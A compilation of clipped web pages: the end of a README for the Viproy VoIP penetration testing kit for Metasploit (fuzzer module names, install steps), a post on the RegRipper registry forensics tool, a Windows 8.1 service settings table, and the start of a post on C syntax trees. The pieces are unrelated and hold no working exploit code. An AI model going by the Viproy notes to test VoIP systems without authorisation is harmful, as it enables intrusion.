  * Sample MSRP Message Fuzzer with SIP INVITE Support \(New\)
  * Sample MSRP Message Header Fuzzer with SIP INVITE Support \(New\)

  
**Documentation**  
  
**Installation**  
Copy "lib" and "modules" folders' content to Metasploit root directory.  
Mixins.rb File \(lib/msf/core/auxiliary/mixins.rb\) should contains the
following lines  
require 'msf/core/auxiliary/sip'  
require 'msf/core/auxiliary/skinny'  
require 'msf/core/auxiliary/msrp'  
  
**Usage of SIP Modules**  
https://github.com/fozavci/viproy-voipkit/blob/master/SIPUSAGE.md  
  
**Usage of Skinny Modules**  
https://github.com/fozavci/viproy-voipkit/blob/master/SKINNYUSAGE.md  
  
**Usage of Auxiliary Viproy Modules**  
https://github.com/fozavci/viproy-voipkit/blob/master/OTHERSUSAGE.md  
  
  

**Download Viproy**

  

# RegRipper | PenTestIT
**Created:**| _7/23/2009 11:12:17 AM_  
---|---  
**Updated:**| _9/18/2009 10:34:29 AM_  
**Author:**| __  
**Tags:**| _windows security Forensics reversing_  
  

# RegRipper: Windows Registry Data Extrator & Co-Relator

by BLACK on JUNE 30, 2009

in OPEN SOURCE, REVERSE ENGINEERING, SECURITY TOOLS, WINDOWS

Windows Registry forms an important part when performing a forensics analysis
of a Windows machine. So, when you have a hive which has been extracted from a
machine using  _EnCase_ or like software, **RegRipper** is THE software you
need to perform your forensics.

RegRipper is a Windows Registry data extraction tool. It also co-relates all
the information it has found while scanning. It completely bypasses the
Win32API while accessing some registry hives. How it does that? It does so by
making use of  _James McFarlane’s Parse::Win32Registry_ module. This module is
used to locate and access Registry key nodes within the hive file, as well as
value nodes and their data. It also has support for plugins. It is an open
source application. It works with Windows 2000, Windows XP, Windows 2003
&Windows Vista. It is user friendly since it provides a GUI for extracting
specific information from a Registry hive file, defined through the use of
plugins. The extracted information is printed in a text-based report file so
that you can easily include it in your reports as per your requirements.

A simple screen shot of RegRipper follows:

<img src='img/Temp2_6789.png' width='500' height='420' alt='f r18 RegRipper:
Windows Registry Data Extrator ' />

RegRipper will extract information about recently accessed files,
applications, etc from the MRU lists along with timestamp information from
Registry keys. Some of the plugins are included in the package are:  
logonusername.pl  
acmru.pl  
runmru.pl  
typedurls.pl  
userassist.pl

They perform the functions as per their names. The output from each of these
plugins is printed to the report file. The order and number of plugins to be
run can be decided by you.

All this information can be obtained in greater detail **here**. You can also
download this PERL program **here**.  

#### Related External Links

  * Twitter Weekly Updates for 2009-06-28 | Dragos Lungu Dot Com

  * Armed and Dangerous » Blog Archive » The **Microsoft** patent attack

  * 0×01000000.org » Enhancing **Regripper**

  * 

### Related Posts

  * July 22, 2009 -- Forensic tool – Belkasoft Forensic Studio
  * July 4, 2009 -- RAutor: Windows rdp session recorder
  * July 2, 2009 -- SIFT: SANS Investigative Forensic Toolkit
  * June 24, 2009 -- Microsoft Security Essentials – Beta version
  * July 23, 2009 -- Securing your environment the Microsoft way\!
  * July 20, 2009 -- Perform both generation and mutation based fuzzing with peachfuzz
  * July 19, 2009 -- MANDIANT Memoryze: A memory forensic tool
  * July 17, 2009 -- TweetMyPC – Remote Control your Windows PC
  * July 16, 2009 -- Coupon code – Free Norman Security Suite v7 1 Year License

  *[JUNE 30, 2009]: 2009-06-30

# » Black Viper’s Windows 8.1 Service Configurations

**Created:**| _5/4/2014 10:24:42 AM_  
---|---  
**Updated:**| _5/4/2014 10:24:42 AM_  
**Author:**| __  
**Tags:**| _windows environment hardending_  
  

# Black Viper’s Windows 8.1 Service Configurations

Add comments

## Introduction

To continue my fine tradition of optimizing MS’s latest OS, I have here my
findings to date. This information is based upon the Desktop Release version
of Windows 8.1.

Before adjusting your service settings, ensure that your system has already
installed all updates by “checking now” for any available updates via Windows
Update. At this time, it is best for you to ensure that all services are set
to the default values before updating your system.

Breakdown of all changes to date: Windows 8.1 Information Changelog.

I cannot possibly test all configurations extensively \(meaning, each persons
specific computer needs\), but what I can offer is what “works for me” and the
obstacles I have came across so you do not have to discover them on your own.

An \* \(asterisk\) indicates changes from the default

Two \*\* \(asterisks\) indicates you can add or remove this service by:

  1. Head to **Start** \(Windows Key\)
  2. Type**Control Panel** \(or enough letters so it appears in the results\)
  3. Select**Control Panel** \(under Results\)
  4. Select **Programs**
  5. Select **Programs and Features**
  6. Select **Turn Windows Features on or off**

  1. Head to **Start** \(Windows Key\)
  2. **Right Click an EMPTY area**
  3. Select **All Apps** \(bottom right\)
  4. Select**Control Panel** \(under Windows System\)
  5. Select **Programs**
  6. Select **Programs and Features**
  7. Select **Turn Windows Features on or off**

## Notes for a Happier Computer and User

  * Do not use “msconfig” to disable services, type “ _services.msc_ ” in the Run box \(Windows Key + R\) instead\!
  * Before disabling any service, check out the service information about each by selecting the service name links provided.
  * Service settings are  _**global**_ , meaning changes apply to all users.
  * All of these services are “Standard” with Windows 8.1 and installed by default or Add/Remove Windows Features. If you discover a service that is not listed here, another application, driver or program installed them.
  * WLAN Autoconfig service is required for normal operation of your wireless network card. It is listed here as Manual due to most desktops not needing wireless access, but if you do have a wireless network card installed \(laptop\), it will be in Automatic by default.
  * Still unsure? Put your setting to “Manual” or the listing under “Safe.” Manual allows Windows 8.1 to start the service when it needs to \(or when ever it feels like it\), but not at boot up. Depending on your configuration, not all services will start when required while in “Manual” mode. If you find you need a service, place it in Automatic.
  * **After adjusting your service settings, reboot your computer.**
  * Before posting your question in the comments below, see if your question has been addressed in the FAQ\!

## Table Header Information

  * **The columns are sortable.** Select the column header to sort by that field.
  * **DEFAULT** ~ What MS thinks should be running on Windows 8.1.
  * **“Safe” Configuration** ~ This is the configuration that 95% of the people will be able to use with little or no side effects. It will also minimizes the amount of “errors” that is reported in the Event Viewer. This does  _not_ guarantee it will work for you, but if adjusting your services scares you, this configuration would be a good starting point. 
    * **31** service settings have been changed from the default annotated by an \(\*\) asterisk.

## Configuration Information

  * **Automatic** ~ With a service in this state, it will start at boot time. Some services, when no longer required, will also automatically stop when not needed. If you find you do not need a service, place it into Manual or Disabled.
  * **Automatic \(Delayed Start\)** ~ With a service in this state, it will start just after boot time. Some services, when no longer required, will also automatically stop when not needed. If you find you do not need a service, place it into Manual or Disabled.
  * ****Manual** \(Trigger Start\)** ~ This is a version of Manual mode that allows Windows to start a service when specifically called and Microsoft’s answer to “too many services running all the time”.
  * **Manual** ~ Manual mode allows Windows to start a service when needed. However, very few services will start up when required in Manual mode. If you find you need a service, place it into Automatic.
  * **Disabled** ~ This setting will stop a service from starting, even if needed. Errors in the Event Viewer will show up complaining of that fact. Some services, while Disabled, will constantly complain. However, this situation is taken care of if placed in Manual. The service descriptions identifies those that should be in Manual vice Disabled.
  * **“Started”** ~ A service that either set to Manual or Automatic that is running by default at or shortly after boot time.
  * **“Not Started”** ~ A service set into Automatic that is not running by default at or shortly after boot time.
  * **“Not Available”** ~ A service that does not apply to the particular version.
  * **“Uninstalled”** ~ The ability to uninstall a service that I recommend to be removed by using Add/Remove Windows Features.

## Service Dependency Abbreviation Information

  * W8.1 - Windows 8.1
  * W8.1Pro – Windows 8.1 Pro
  * W8.1Ent – Windows 8.1 Enterprise

## Service Default Registry Entries

  * These entries are exported directly from the registry of a default Windows 8.1 installation.
  * They are in the .reg file format \(many entries are in hex notation\), not as you would actually view the content via regedit.exe.
  * The particular location extracted is under: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\`

Display Name| Service Name \(Registry\)| DEFAULT  
Windows 8.1| DEFAULT  
Windows 8.1  
Pro| DEFAULT  
Windows 8.1  
Enterprise| "Safe"  
---|---|---|---|---|---  
ActiveX Installer \(AxInstSV\)| AxInstSV| Manual| Manual| Manual| Manual  
---|---|---|---|---|---  
App Readiness| AppReadiness| Manual| Manual| Manual| Manual  
Application Experience| AeLookupSvc| Manual \(Trigger Start\)| Manual
\(Trigger Start\)| Manual \(Trigger Start\)| Manual  
Application Host Helper Service \*\*| AppHostSvc| Not Installed \(Automatic,
Started\)| Not Installed \(Automatic, Started\)| Not Installed \(Automatic,
Started\)| Not Installed  
Application Identity| AppIDSvc| Manual \(Trigger Start\)| Manual \(Trigger
Start\)| Manual \(Trigger Start\)| Manual  
Application Information| Appinfo| Manual \(Trigger Start, Started\)| Manual
\(Trigger Start, Started\)| Manual \(Trigger Start, Started\)| Manual  
Application Layer Gateway Service| ALG| Manual| Manual| Manual| Manual  
AppX Development Service \(AppXSVC\)| AppXSVC| Manual| Manual| Manual| Manual  
Application Management| AppMgmt| Not Available| Manual| Manual| Disabled \*  
ASP.NET State Service \*\*| aspnet\_state| Not Installed \(Manual\)| Not
Installed \(Manual\)| Not Installed \(Manual\)| Not Installed  
Background Intelligent Transfer Service| BITS| Automatic \(Delayed Start,
Started\)| Automatic \(Delayed Start, Started\)| Automatic \(Delayed Start,
Started\)| Automatic \(Delayed Start\)  
Background Tasks Infrastructure Service| BrokerInfrastructure| Automatic
\(Started\)| Automatic \(Started\)| Automatic \(Started\)| Automatic  
Base Filtering Engine| BFE| Automatic \(Started\)| Automatic \(Started\)|
Automatic \(Started\)| Automatic  
BitLocker Drive Encryption Service| BDESVC| Manual \(Trigger Start\)| Manual
\(Trigger Start\)| Manual \(Trigger Start\)| Manual  
Block Level Backup Engine Service| wbengine| Manual| Manual| Manual| Manual  
Bluetooth Support Service| bthserv| Manual \(Trigger Start\)| Manual \(Trigger
Start\)| Manual \(Trigger Start\)| Disabled \*  
BranchCache| PeerDistSvc| Not Available| Manual| Manual| Disabled \*  
Certificate Propagation| CertPropSvc| Manual| Manual| Manual| Disabled \*  
Claims to Windows Token Service \*\*| c2wts| Not Installed \(Manual\)| Not
Installed \(Manual\)| Not Installed \(Manual\)| Not Installed  
Client for NFS| NfsClnt| Not Available| Not Available| Not Available| Disabled
\*  
CNG Key Isolation| KeyIso| Manual \(Trigger Start, Started\)| Manual \(Trigger
Start, Started\)| Manual \(Trigger Start, Started\)| Manual  
COM+ Event System| EventSystem| Automatic \(Started\)| Automatic \(Started\)|
Automatic \(Started\)| Automatic  
COM+ System Application| COMSysApp| Manual \(Started\)| Manual \(Started\)|
Manual \(Started\)| Manual  
Computer Browser| Browser| Manual \(Trigger Start, Started\)| Manual \(Trigger
Start, Started\)| Manual \(Trigger Start, Started\)| Manual  
Credential Manager| VaultSvc| Manual| Manual| Manual| Manual  
Cryptographic Services| CryptSvc| Automatic \(Started\)| Automatic
\(Started\)| Automatic \(Started\)| Automatic  
DCOM Server Process Launcher| DcomLaunch| Automatic \(Started\)| Automatic
\(Started\)| Automatic \(Started\)| Automatic  
Device Association Service| DeviceAssociationService| Manual \(Trigger Start,
Started\)| Manual \(Trigger Start, Started\)| Manual \(Trigger Start,
Started\)| Manual  
Device Install Service| DeviceInstall| Manual \(Trigger Start\)| Manual
\(Trigger Start\)| Manual \(Trigger Start\)| Manual  
Device Setup Manager| DsmSVC| Manual \(Trigger Start\)| Manual \(Trigger
Start\)| Manual \(Trigger Start\)| Manual  
DHCP Client| Dhcp| Automatic \(Started\)| Automatic \(Started\)| Automatic
\(Started\)| Automatic  
Diagnostic Policy Service| DPS| Automatic \(Started\)| Automatic \(Started\)|
Automatic \(Started\)| Automatic  
Diagnostic Service Host| WdiServiceHost| Manual \(Started\)| Manual
\(Started\)| Manual \(Started\)| Manual  
Diagnostic System Host| WdiSystemHost| Manual| Manual| Manual| Manual  
Distributed Link Tracking Client| TrkWks| Automatic \(Started\)| Automatic
\(Started\)| Automatic \(Started\)| Disabled \*  
Distributed Transaction Coordinator| MSDTC| Manual| Manual| Manual| Manual  
DNS Client| Dnscache| Automatic \(Trigger Start, Started\)| Automatic
\(Trigger Start, Started\)| Automatic \(Trigger Start, Started\)| Automatic  
DS Role Server \*\*| DsRoleSvc| Not Available| Not Available| Not Available|
Not installed  
Encrypting File System \(EFS\)| EFS| Manual \(Trigger Start\)| Manual
\(Trigger Start\)| Manual \(Trigger Start\)| Manual  
Extensible Authentication Protocol| EapHost| Manual| Manual| Manual| Manual  
Family Safety| WPCSvc| Manual| Manual| Manual| Disabled \*  
Fax \*\*| Fax| Manual| Manual| Manual| Manual  
File History Service| fhsvc| Manual \(Trigger Start\)| Manual \(Trigger
Start\)| Manual \(Trigger Start\)| Manual  
Function Discovery Provider Host| fdPHost| Manual \(Started\)| Manual
\(Started\)| Manual \(Started\)| Manual  
Function Discovery Resource Publication| FDResPub| Manual \(Started\)| Manual
\(Started\)| Manual \(Started\)| Manual  
Group Policy Client| gpsvc| Automatic \(Trigger Start, Started\)| Automatic
\(Trigger Start, Started\)| Automatic \(Trigger Start, Started\)| Automatic  
Health Key and Certificate Management| hkmsvc| Manual| Manual| Manual| Manual  
HomeGroup Listener| HomeGroupListener| Manual| Manual| Manual| Manual  
HomeGroup Provider| HomeGroupProvider| Manual \(Trigger Start, Started\)|
Manual \(Trigger Start, Started\)| Manual \(Trigger Start, Started\)| Manual  
Human Interface Device Access| hidserv| Manual \(Trigger Start\)| Manual
\(Trigger Start\)| Manual \(Trigger Start\)| Manual  
Hyper-V Data Exchange Service| vmickvpexchange| Manual \(Trigger Start\)|
Manual \(Trigger Start\)| Manual \(Trigger Start\)| Disabled \*  
Hyper-V Guest Service Interface| vmicguestinterface| Manual \(Trigger Start\)|
Manual \(Trigger Start\)| Manual \(Trigger Start\)| Disabled \*  
Hyper-V Guest Shutdown Service| vmicshutdown| Manual \(Trigger Start\)| Manual
\(Trigger Start\)| Manual \(Trigger Start\)| Disabled \*  
Hyper-V Heartbeat Service| vmicheartbeat| Manual \(Trigger Start\)| Manual
\(Trigger Start\)| Manual \(Trigger Start\)| Disabled \*  
Hyper-V Remote Desktop Virtualization Service| vmicrdv| Manual \(Trigger
Start\)| Manual \(Trigger Start\)| Manual \(Trigger Start\)| Disabled \*  
Hyper-V Time Synchronization Service| vmictimesync| Manual \(Trigger Start\)|
Manual \(Trigger Start\)| Manual \(Trigger Start\)| Disabled \*  
Hyper-V Volume Shadow Copy Requestor| vmicvss| Manual \(Trigger Start\)|
Manual \(Trigger Start\)| Manual \(Trigger Start\)| Disabled \*  
IIS Admin Service \*\*| IISADMIN| Not Installed \(Automatic, Started\)| Not
Installed \(Automatic, Started\)| Not Installed \(Automatic, Started\)| Not
Installed  
IKE and AuthIP IPsec Keying Modules| IKEEXT| Manual \(Trigger Start\)| Manual
\(Trigger Start\)| Manual \(Trigger Start\)| Manual  
Interactive Services Detection| UI0Detect| Manual| Manual| Manual| Manual  
Internet Connection Sharing \(ICS\)| SharedAccess| Disabled| Disabled|
Disabled| Disabled  
Internet Explorer ETW Collector Service| IEEtwCollectorService| Manual|
Manual| Manual| Disabled \*  
IP Helper| iphlpsvc| Automatic \(Started\)| Automatic \(Started\)| Automatic
\(Started\)| Disabled \*  
IPsec Policy Agent| PolicyAgent| Manual \(Trigger Start\)| Manual \(Trigger
Start\)| Manual \(Trigger Start\)| Manual  
KtmRm for Distributed Transaction Coordinator| KtmRm| Manual \(Trigger
Start\)| Manual \(Trigger Start\)| Manual \(Trigger Start\)| Manual  
Link-Layer Topology Discovery Mapper| lltdsvc| Manual| Manual| Manual| Manual  
Local Session Manager| LSM| Automatic \(Started\)| Automatic \(Started\)|
Automatic \(Started\)| Automatic  
LPD Service \*\*| LPDSVC| Not Installed \(Automatic, Started\)| Not Installed
\(Automatic, Started\)| Not Installed \(Automatic, Started\)| Not Installed  
Message Queuing Triggers \*\*| MSMQTriggers| Not Installed \(Automatic,
Started\)| Not Installed \(Automatic, Started\)| Not Installed \(Automatic,
Started\)| Not Installed  
Message Queuing \*\*| MSMQ| Not Installed \(Automatic, Started\)| Not
Installed \(Automatic, Started\)| Not Installed \(Automatic, Started\)| Not
Installed  
Microsoft Account Sign-in Assistant| wlidsvc| Manual \(Trigger Start\)| Manual
\(Trigger Start\)| Manual \(Trigger Start\)| Manual  
Microsoft FTP Service \*\*| ftpsvc| Not Installed \(Automatic, Started\)| Not
Installed \(Automatic, Started\)| Not Installed \(Automatic, Started\)| Not
Installed  
Microsoft iSCSI Initiator Service| MSiSCSI| Manual| Manual| Manual| Disabled
\*  
Microsoft Software Shadow Copy Provider| swprv| Manual \(Started at boot, then
stops\)| Manual \(Started at boot, then stops\)| Manual \(Started at boot,
then stops\)| Manual  
Multimedia Class Scheduler| MMCSS| Automatic \(Started\)| Automatic
\(Started\)| Automatic \(Started\)| Automatic  
Net.Msmq Listener Adapter \*\*| NetMsmqActivator| Not Installed \(Automatic,
Started\)| Not Installed \(Automatic, Started\)| Not Installed \(Automatic,
Started\)| Not Installed  
Net.Pipe Listener Adapter \*\*| NetPipeActivator| Not Installed \(Automatic,
Started\)| Not Installed \(Automatic, Started\)| Not Installed \(Automatic,
Started\)| Not Installed  
Net.Tcp Listener Adapter \*\*| NetTcpActivator| Not Installed \(Automatic,
Started\)| Not Installed \(Automatic, Started\)| Not Installed \(Automatic,
Started\)| Not Installed  
Net.Tcp Port Sharing Service \*\*| NetTcpPortSharing| Disabled \(Changed to
Manual and Started if the previous 3 Services are installed\)| Disabled
\(Changed to Manual and Started if the previous 3 Services are installed\)|
Disabled \(Changed to Manual and Started if the previous 3 Services are
installed\)| Uninstalled \*  
Netlogon| Netlogon| Manual| Manual| Manual| Disabled \*  
Network Access Protection Agent| napagent| Manual| Manual| Manual| Disabled \*  
Network Connected Devices Auto-Setup| NcdAutoSetup| Manual \(Trigger Start,
Started\)| Manual \(Trigger Start, Started\)| Manual \(Trigger Start,
Started\)| Manual  
Network Connection Broker| NcbService| Manual \(Trigger Start, Started\)|
Manual \(Trigger Start, Started\)| Manual \(Trigger Start, Started\)| Manual  
Network Connections| Netman| Manual| Manual| Manual| Manual  
Network Connectivity Assistant| NcaSVC| Manual \(Trigger Start\)| Manual
\(Trigger Start\)| Manual \(Trigger Start\)| Manual  
Network List Service| netprofm| Manual \(Started\)| Manual \(Started\)| Manual
\(Started\)| Manual  
Network Location Awareness| NlaSvc| Automatic \(Started\)| Automatic
\(Started\)| Automatic \(Started\)| Automatic  
Network Store Interface Service| nsi| Automatic \(Started\)| Automatic
\(Started\)| Automatic \(Started\)| Automatic  
Offline Files| CscService| Not Available| Automatic \(Trigger Start,
Started\)| Automatic \(Trigger Start, Started\)| Disabled \*  
Optimize Drives| defragsvc| Manual| Manual| Manual| Manual  
Peer Name Resolution Protocol| PNRPsvc| Manual \(Started\)| Manual
\(Started\)| Manual \(Started\)| Manual  
Peer Networking Grouping| p2psvc| Manual \(Started\)| Manual \(Started\)|
Manual \(Started\)| Manual  
Peer Networking Identity Manager| p2pimsvc| Manual \(Started\)| Manual
\(Started\)| Manual \(Started\)| Manual  
Performance Logs & Alerts| pla| Manual| Manual| Manual| Manual  
Plug and Play| PlugPlay| Manual \(Started\)| Manual \(Started\)| Manual
\(Started\)| Manual  
PNRP Machine Name Publication Service| PNRPAutoReg| Manual| Manual| Manual|
Manual  
Portable Device Enumerator Service| WPDBusEnum| Manual \(Trigger Start\)|
Manual \(Trigger Start\)| Manual \(Trigger Start\)| Manual  
Power| Power| Automatic \(Started\)| Automatic \(Started\)| Automatic
\(Started\)| Automatic  
Print Spooler| Spooler| Automatic \(Started\)| Automatic \(Started\)|
Automatic \(Started\)| Automatic  
Printer Extensions and Notifications| PrintNotify| Manual| Manual| Manual|
Manual  
Problem Reports and Solutions Control Panel Support| wercplsupport| Manual|
Manual| Manual| Manual  
Program Compatibility Assistant Service| PcaSvc| Manual| Manual| Manual|
Manual  
Quality Windows Audio Video Experience| QWAVE| Manual| Manual| Manual| Manual  
Remote Access Auto Connection Manager| RasAuto| Manual| Manual| Manual| Manual  
Remote Access Connection Manager| RasMan| Manual| Manual| Manual| Manual  
Remote Desktop Configuration| SessionEnv| Manual \(Maybe Started when using
Remote Desktop\)| Manual \(Maybe Started when using Remote Desktop\)| Manual
\(Maybe Started when using Remote Desktop\)| Manual  
Remote Desktop Services UserMode Port Redirector| UmRdpService| Manual \(Maybe
Started when using Remote Desktop\)| Manual \(Maybe Started when using Remote
Desktop\)| Manual \(Maybe Started when using Remote Desktop\)| Manual  
Remote Desktop Services| TermService| Manual \(Maybe Started when using Remote
Desktop\)| Manual \(Maybe Started when using Remote Desktop\)| Manual \(Maybe
Started when using Remote Desktop\)| Manual  
Remote Procedure Call \(RPC\)| RpcSs| Automatic \(Started\)| Automatic
\(Started\)| Automatic \(Started\)| Automatic  
Remote Procedure Call \(RPC\) Locator| RpcLocator| Manual| Manual| Manual|
Disabled \*  
Remote Registry| RemoteRegistry| Disabled| Disabled| Disabled| Disabled  
RIP Listener \*\*| iprip| Not Installed \(Automatic, Started\)| Not Installed
\(Automatic, Started\)| Not Installed \(Automatic, Started\)| Not Installed  
Routing and Remote Access| RemoteAccess| Disabled| Disabled| Disabled|
Disabled  
RPC Endpoint Mapper| RpcEptMapper| Automatic \(Started\)| Automatic
\(Started\)| Automatic \(Started\)| Automatic  
Secondary Logon| seclogon| Manual| Manual| Manual| Manual  
Secure Socket Tunneling Protocol Service| SstpSvc| Manual| Manual| Manual|
Manual  
Security Accounts Manager| SamSs| Automatic \(Started\)| Automatic
\(Started\)| Automatic \(Started\)| Automatic  
Security Center| wscsvc| Automatic \(Delayed Start, Started\)| Automatic
\(Delayed Start, Started\)| Automatic \(Delayed Start, Started\)| Automatic
\(Delayed Start\)  
Sensor Monitoring Service| SensrSvc| Manual \(Trigger Start\)| Manual
\(Trigger Start\)| Manual \(Trigger Start\)| Disabled \*  
Server| LanmanServer| Automatic \(Started\)| Automatic \(Started\)| Automatic
\(Started\)| Automatic  
Shell Hardware Detection| ShellHWDetection| Automatic \(Started\)| Automatic
\(Started\)| Automatic \(Started\)| Automatic  
Simple TCP/IP Services \*\*| simptcp| Not Installed \(Automatic, Started\)|
Not Installed \(Automatic, Started\)| Not Installed \(Automatic, Started\)|
Not Installed  
Smart Card| SCardSvr| Disabled| Disabled| Disabled| Disabled  
Smart Card Device Enumeration Service| ScDeviceEnum| Manual \(Trigger Start\)|
Manual \(Trigger Start\)| Manual \(Trigger Start\)| Disabled \*  
Smart Card Removal Policy| SCPolicySvc| Manual| Manual| Manual| Disabled \*  
|  |  |  |  | Disabled  
SNMP Service \*\*| SNMP| Not Installed \(Automatic, Started\)| Not Installed
\(Automatic, Started\)| Not Installed \(Automatic, Started\)| Not Installed  
SNMP Trap| SNMPTRAP| Manual| Manual| Manual| Disabled \*  
Software Protection| sppsvc| Automatic \(Delayed Start, Started\)| Automatic
\(Delayed Start, Started\)| Automatic \(Delayed Start, Started\)| Automatic
\(Delayed Start\)  
Spot Verifier| svsvc| Manual \(Trigger Start\)| Manual \(Trigger Start\)|
Manual \(Trigger Start\)| Manual  
SSDP Discovery| SSDPSRV| Manual \(Started\)| Manual \(Started\)| Manual
\(Started\)| Manual  
Still Image Acquisition Events| WiaRpc| Manual| Manual| Manual| Manual  
Storage Service| StorSvc| Manual \(Trigger Start\)| Manual \(Trigger Start\)|
Manual \(Trigger Start\)| Disabled \*  
Superfetch| SysMain| Automatic \(Started\)| Automatic \(Started\)| Automatic
\(Started\)| Automatic  
System Event Notification Service| SENS| Automatic \(Started\)| Automatic
\(Started\)| Automatic \(Started\)| Automatic  
System Events Broker| SystemEventsBroker| Automatic \(Trigger Start,
Started\)| Automatic \(Trigger Start, Started\)| Automatic \(Trigger Start,
Started\)| Automatic  
Task Scheduler| Schedule| Automatic \(Started\)| Automatic \(Started\)|
Automatic \(Started\)| Automatic  
TCP/IP NetBIOS Helper| lmhosts| Automatic \(Trigger Start, Started\)|
Automatic \(Trigger Start, Started\)| Automatic \(Trigger Start, Started\)|
Automatic  
Telephony| TapiSrv| Manual| Manual| Manual| Manual  
Telnet \*\*| TlntSvr| Not Installed \(Disabled\)| Not Installed \(Disabled\)|
Not Installed \(Disabled\)| Not Installed  
Themes| Themes| Automatic \(Started\)| Automatic \(Started\)| Automatic
\(Started\)| Automatic  
Thread Ordering Server| THREADORDER| Manual| Manual| Manual| Manual  
Time Broker| TimeBroker| Manual \(Trigger Start, Started\)| Manual \(Trigger
Start, Started\)| Manual \(Trigger Start, Started\)| Manual  
Touch Keyboard and Handwriting Panel Service| TabletInputService| Manual
\(Trigger Start\)| Manual \(Trigger Start\)| Manual \(Trigger Start\)| Manual  
UPnP Device Host| upnphost| Manual| Manual| Manual| Manual  
User Profile Service| ProfSvc| Automatic \(Started\)| Automatic \(Started\)|
Automatic \(Started\)| Automatic  
Virtual Disk| vds| Manual| Manual| Manual| Manual  
Volume Shadow Copy| VSS| Manual| Manual| Manual| Manual  
Web Management Service \*\*| WMSVC| Not Installed \(Manual\)| Not Installed
\(Manual\)| Not Installed \(Manual\)| Not Installed  
WebClient| WebClient| Manual \(Trigger Start\)| Manual \(Trigger Start\)|
Manual \(Trigger Start\)| Manual  
Windows Audio| AudioSrv| Automatic \(Started\)| Automatic \(Started\)|
Automatic \(Started\)| Automatic  
Windows Audio Endpoint Builder| AudioEndpointBuilder| Automatic \(Started\)|
Automatic \(Started\)| Automatic \(Started\)|  
Windows Biometric Service| WbioSrvc| Manual| Manual| Manual| Disabled \*  
Windows Color System| WcsPlugInService| Manual| Manual| Manual| Manual  
Windows Connect Now - Config Registrar| wcncsvc| Manual| Manual| Manual|
Disabled \*  
Windows Connection Manager| Wcmsvc| Automatic \(Trigger Start, Started\)|
Automatic \(Trigger Start, Started\)| Automatic \(Trigger Start, Started\)|
Automatic  
Windows Defender Network Inspection Service| WdNisSvc| Manual| Manual| Manual|
Manual  
Windows Defender Service| WinDefend| Automatic \(Started\)| Automatic
\(Started\)| Automatic \(Started\)| Automatic  
Windows Driver Foundation - User-mode Driver Framework| wudfsvc| Manual
\(Trigger Start\)| Manual \(Trigger Start\)| Manual \(Trigger Start\)| Manual  
Windows Encryption Provider Host Service| WEPHOSTSVC| Manual \(Trigger
Start\)| Manual \(Trigger Start\)| Manual \(Trigger Start\)| Manual  
Windows Error Reporting Service| WerSvc| Manual \(Trigger Start\)| Manual
\(Trigger Start\)| Manual \(Trigger Start\)| Manual  
Windows Event Collector| Wecsvc| Manual| Manual| Manual| Manual  
Windows Event Log| EventLog| Automatic \(Started\)| Automatic \(Started\)|
Automatic \(Started\)| Automatic  
Windows Firewall| MpsSvc| Automatic \(Started\)| Automatic \(Started\)|
Automatic \(Started\)| Automatic  
Windows Font Cache Service| FontCache| Automatic \(Started\)| Automatic
\(Started\)| Automatic \(Started\)| Automatic  
Windows Image Acquisition \(WIA\)| StiSvc| Manual| Manual| Manual| Manual  
Windows Installer| msiserver| Manual| Manual| Manual| Manual  
Windows Location Framework Service| fsvc| Manual \(Trigger Start\)| Manual
\(Trigger Start\)| Manual \(Trigger Start\)| Disabled \*  
Windows Management Instrumentation| Winmgmt| Automatic \(Started\)| Automatic
\(Started\)| Automatic \(Started\)| Automatic  
Windows Media Player Network Sharing Service \*\*| WMPNetworkSvc| Manual|
Manual| Manual| Disabled \* \(Uninstalled\)  
Windows Modules Installer| TrustedInstaller| Manual| Manual| Manual| Manual  
Windows Presentation Foundation Font Cache 3.0.0.0 \*\*| FontCache3.0.0.0| Not
Installed \(Manual\)| Not Installed \(Manual\)| Not Installed \(Manual\)| Not
Installed  
Windows Process Activation Service \*\*| WAS| Not Installed \(Manual,
Started\)| Not Installed \(Manual, Started\)| Not Installed \(Manual,
Started\)| Not Installed  
Windows Remote Management \(WS-Management\)| WinRM| Manual| Manual| Manual|
Manual  
Windows Search \*\*| WSearch| Automatic \(Delayed Start, Started\)| Automatic
\(Delayed Start, Started\)| Automatic \(Delayed Start, Started\)| Automatic
\(Delayed Start\)  
Windows Store Service \(WSService\)| WSService| Manual \(Trigger Start\)|
Manual \(Trigger Start\)| Manual \(Trigger Start\)| Manual  
Windows Time| W32Time| Manual \(Trigger Start\)| Manual \(Trigger Start\)|
Manual \(Trigger Start\)| Manual  
Windows Update| wuauserv| Manual \(Trigger Start\)| Manual \(Trigger Start\)|
Manual \(Trigger Start\)| Manual  
WinHTTP Web Proxy Auto-Discovery Service| WinHttpAutoProxySvc| Manual
\(Started\)| Manual \(Started\)| Manual \(Started\)| Manual  
Wired AutoConfig| dot3svc| Manual| Manual| Manual| Manual  
WLAN AutoConfig| WlanSvc| Manual \(Automatic with Wireless Card Installed\)|
Manual \(Automatic with Wireless Card Installed\)| Manual \(Automatic with
Wireless Card Installed\)| Manual  
WMI Performance Adapter| wmiApSrv| Manual| Manual| Manual| Manual  
Work Folders| workfolderssvc| Manual| Manual| Manual| Manual  
Workstation| LanmanWorkstation| Automatic \(Started\)| Automatic \(Started\)|
Automatic \(Started\)| Automatic  
World Wide Web Publishing Service \*\*| W3SVC| Not Installed \(Automatic,
Started\)| Not Installed \(Automatic, Started\)| Not Installed \(Automatic,
Started\)| Not Installed  
WWAN AutoConfig| WwanSvc| Manual| Manual| Manual| Manual  
An \* \(asterisk\) indicates changes from the default

Two \*\* \(asterisks\) indicates you can add or remove this service by:

  1. Head to **Start** \(Windows Key\)
  2. Type**Control Panel** \(or enough letters so it appears in the results\)
  3. Select**Control Panel** \(under Results\)
  4. Select **Programs**
  5. Select **Programs and Features**
  6. Select **Turn Windows Features on or off**

  1. Head to **Start** \(Windows Key\)
  2. **Right Click an EMPTY area**
  3. Select **All Apps** \(bottom right\)
  4. Select**Control Panel** \(under Windows System\)
  5. Select **Programs**
  6. Select **Programs and Features**
  7. Select **Turn Windows Features on or off**

Posted by Black Viper at 7:05 AM

# Eli Bendersky's website » Blog Archive » ASTs for analyzing C

**Created:**| _9/8/2011 11:45:23 PM_  
---|---  
**Updated:**| _9/8/2011 11:45:23 PM_  
**Author:**| __  
**Tags:**| _compiler-building C programming_  
  

## ASTs for analyzing C

July 11th, 2008 at 9:27 am

As I wrote here, I’ve commonly found myself in the need to analyze C source
code programmatically. In that post, I’ve also mentioned `c2c`, a nice open-
source tool that analyzes C source code and can generate ASTs as an
